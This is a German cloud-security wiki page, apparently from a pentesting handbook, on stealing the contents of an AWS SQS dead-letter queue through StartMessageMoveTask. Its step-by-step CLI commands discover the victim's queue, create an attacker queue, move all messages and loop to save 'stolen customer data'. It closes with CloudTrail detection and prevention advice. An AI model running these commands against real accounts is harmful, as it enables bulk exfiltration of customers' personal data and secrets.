AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask

Reading time: 7 minutes

Beschreibung

Missbrauche SQS message move tasks, um alle angesammelten Nachrichten aus der Dead-Letter Queue (DLQ) eines Opfers zu stehlen, indem du sie mit sqs:StartMessageMoveTask auf eine vom Angreifer kontrollierte Queue umleitest. Diese Technik nutzt die legitime Wiederherstellungsfunktion von AWS für Nachrichten aus, um über die Zeit angesammelte sensible Daten in DLQs zu exfiltrieren.

Was ist eine Dead-Letter Queue (DLQ)?

Eine Dead-Letter Queue ist eine spezielle SQS-Queue, in die Nachrichten automatisch verschoben werden, wenn sie vom Hauptanwendungsprozess nicht erfolgreich verarbeitet werden können. Diese fehlgeschlagenen Nachrichten enthalten oft:

• Sensible Anwendungsdaten, die nicht verarbeitet werden konnten
• Fehlermeldungen und Debug-Informationen
• Persönlich identifizierbare Informationen (PII)
• API-Tokens, Zugangsdaten oder andere Geheimnisse
• Geschäftskritische Transaktionsdaten

DLQs fungieren als "Friedhof" für fehlgeschlagene Nachrichten und sind daher wertvolle Ziele, da sie über die Zeit sensible Daten ansammeln, die Anwendungen nicht korrekt verarbeiten konnten.

Angriffszenario

Praxisbeispiel:

1. E-Commerce-Anwendung verarbeitet Kundenbestellungen über SQS
2. Einige Bestellungen schlagen fehl (Zahlungsprobleme, Lagerbestand, etc.) und werden in eine DLQ verschoben
3. Die DLQ sammelt Wochen/Monate an fehlgeschlagenen Bestellungen mit Kundendaten an: {"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}
4. Angreifer erlangt Zugriff auf AWS-Zugangsdaten mit SQS-Rechten
5. Angreifer entdeckt, dass die DLQ Tausende fehlgeschlagener Bestellungen mit sensiblen Daten enthält
6. Anstatt zu versuchen, einzelne Nachrichten zu lesen (langsam und auffällig), nutzt der Angreifer StartMessageMoveTask, um ALLE Nachrichten in seine eigene Queue zu übertragen
7. Angreifer extrahiert alle historischen sensiblen Daten in einem Vorgang

Voraussetzungen

• Die Quell-Queue muss als DLQ konfiguriert sein (von mindestens einer Queue in einer RedrivePolicy referenziert).
• IAM-Berechtigungen (ausgeführt als kompromittierter Opfer-Principal):
  • Auf der DLQ (Quelle): sqs:StartMessageMoveTask, sqs:GetQueueAttributes.
  • Auf der Ziel-Queue: Berechtigung, Nachrichten zuzustellen (z. B. eine Queue-Policy, die sqs:SendMessage vom Opfer-Principal erlaubt). Bei Zielen im selben Account ist dies typischerweise standardmäßig erlaubt.
• Wenn SSE-KMS aktiviert ist: auf dem Quell-CMK kms:Decrypt und auf dem Ziel-CMK kms:GenerateDataKey, kms:Encrypt.

Auswirkungen

Mögliche Auswirkungen: Exfiltration sensibler Payloads, die sich in DLQs angesammelt haben (fehlgeschlagene Events, PII, Tokens, Anwendungs-Payloads) in hoher Geschwindigkeit mithilfe nativer SQS-APIs. Funktioniert auch kontoübergreifend, sofern die Ziel-Queue-Policy SendMessage vom Opfer-Principal erlaubt.

So wird es missbraucht

• Identifiziere die ARN der DLQ des Opfers und stelle sicher, dass sie tatsächlich als DLQ von irgendeiner Queue referenziert wird (jede Queue ist ausreichend).
• Erstelle oder wähle eine vom Angreifer kontrollierte Ziel-Queue und erhalte ihre ARN.
• Starte eine message move task von der DLQ des Opfers zu deiner Ziel-Queue.
• Überwache den Fortschritt oder breche ab, falls nötig.

CLI-Beispiel: Exfiltrieren von Kundendaten aus einer E-Commerce-DLQ

Szenario: Ein Angreifer hat AWS-Zugangsdaten kompromittiert und entdeckt, dass eine E-Commerce-Anwendung SQS mit einer DLQ verwendet, die fehlgeschlagene Versuche der Auftragsverarbeitung enthält.

1. Die DLQ des Opfers entdecken und untersuchen

# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
aws sqs list-queues --queue-name-prefix dlq

# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq
VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq"
SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)

# Check how many messages are in the DLQ (potential treasure trove!)
aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
--attribute-names ApproximateNumberOfMessages
# Output might show: "ApproximateNumberOfMessages": "1847"

2. Erstelle attacker-controlled destination queue

# Create our exfiltration queue
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)

echo "Created exfiltration queue: $ATTACKER_Q_ARN"

3. Führe den Massendiebstahl von Nachrichten aus

# Start moving ALL messages from victim DLQ to our queue
# This operation will transfer thousands of failed orders containing customer data
echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN"
TASK_RESPONSE=$(aws sqs start-message-move-task \
--source-arn "$SRC_ARN" \
--destination-arn "$ATTACKER_Q_ARN" \
--max-number-of-messages-per-second 100)

echo "Move task started: $TASK_RESPONSE"

# Monitor the theft progress
aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10

4. Sammle die gestohlenen sensiblen Daten

# Receive the exfiltrated customer data
echo "Receiving stolen customer data..."
aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
--attribute-names All --message-attribute-names All \
--max-number-of-messages 10 --wait-time-seconds 5

# Example of what an attacker might see:
# {
#   "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}",
#   "MessageId": "12345-abcd-6789-efgh"
# }

# Continue receiving all messages in batches
while true; do
MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
--max-number-of-messages 10 --wait-time-seconds 2 --output json)

if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then
echo "No more messages - exfiltration complete!"
break
fi

echo "Received batch of stolen data..."
# Process/save the stolen customer data
echo "$MESSAGES" >> stolen_customer_data.json
done

Cross-Account Hinweise

• Die Ziel-Queue muss eine Resource Policy enthalten, die dem victim principal sqs:SendMessage erlaubt (und, falls verwendet, KMS Grants/Berechtigungen).

Warum dieser Angriff effektiv ist

1. Legitime AWS-Funktion: Nutzt eingebaute AWS-Funktionalität, wodurch es schwierig ist, das Verhalten als bösartig zu erkennen
2. Massenoperation: Überträgt schnell tausende Nachrichten statt langsamer Einzelzugriffe
3. Historische Daten: DLQs speichern über Wochen/Monate sensible Daten
4. Unauffällig: Viele Organisationen überwachen DLQ-Zugriffe nicht genau
5. Cross-Account-fähig: Kann an das eigene AWS-Konto des Angreifers exfiltrieren, wenn Berechtigungen es zulassen

Erkennung und Prävention

Erkennung

Überwache CloudTrail auf verdächtige StartMessageMoveTask API-Aufrufe:

{
"eventName": "StartMessageMoveTask",
"sourceIPAddress": "suspicious-ip",
"userIdentity": {
"type": "IAMUser",
"userName": "compromised-user"
},
"requestParameters": {
"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq",
"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue"
}
}

Prävention

1. Prinzip der geringsten Privilegien: Beschränke die Berechtigung sqs:StartMessageMoveTask auf nur die notwendigen Rollen
2. DLQs überwachen: Richte CloudWatch-Alarme für ungewöhnliche DLQ-Aktivität ein
3. Kontoübergreifende Richtlinien: Überprüfe sorgfältig SQS-Queue-Richtlinien, die kontoübergreifenden Zugriff erlauben
4. DLQs verschlüsseln: Verwende SSE-KMS mit eingeschränkten Schlüsselrichtlinien
5. Regelmäßige Bereinigung: Lasse sensible Daten nicht dauerhaft in DLQs ansammeln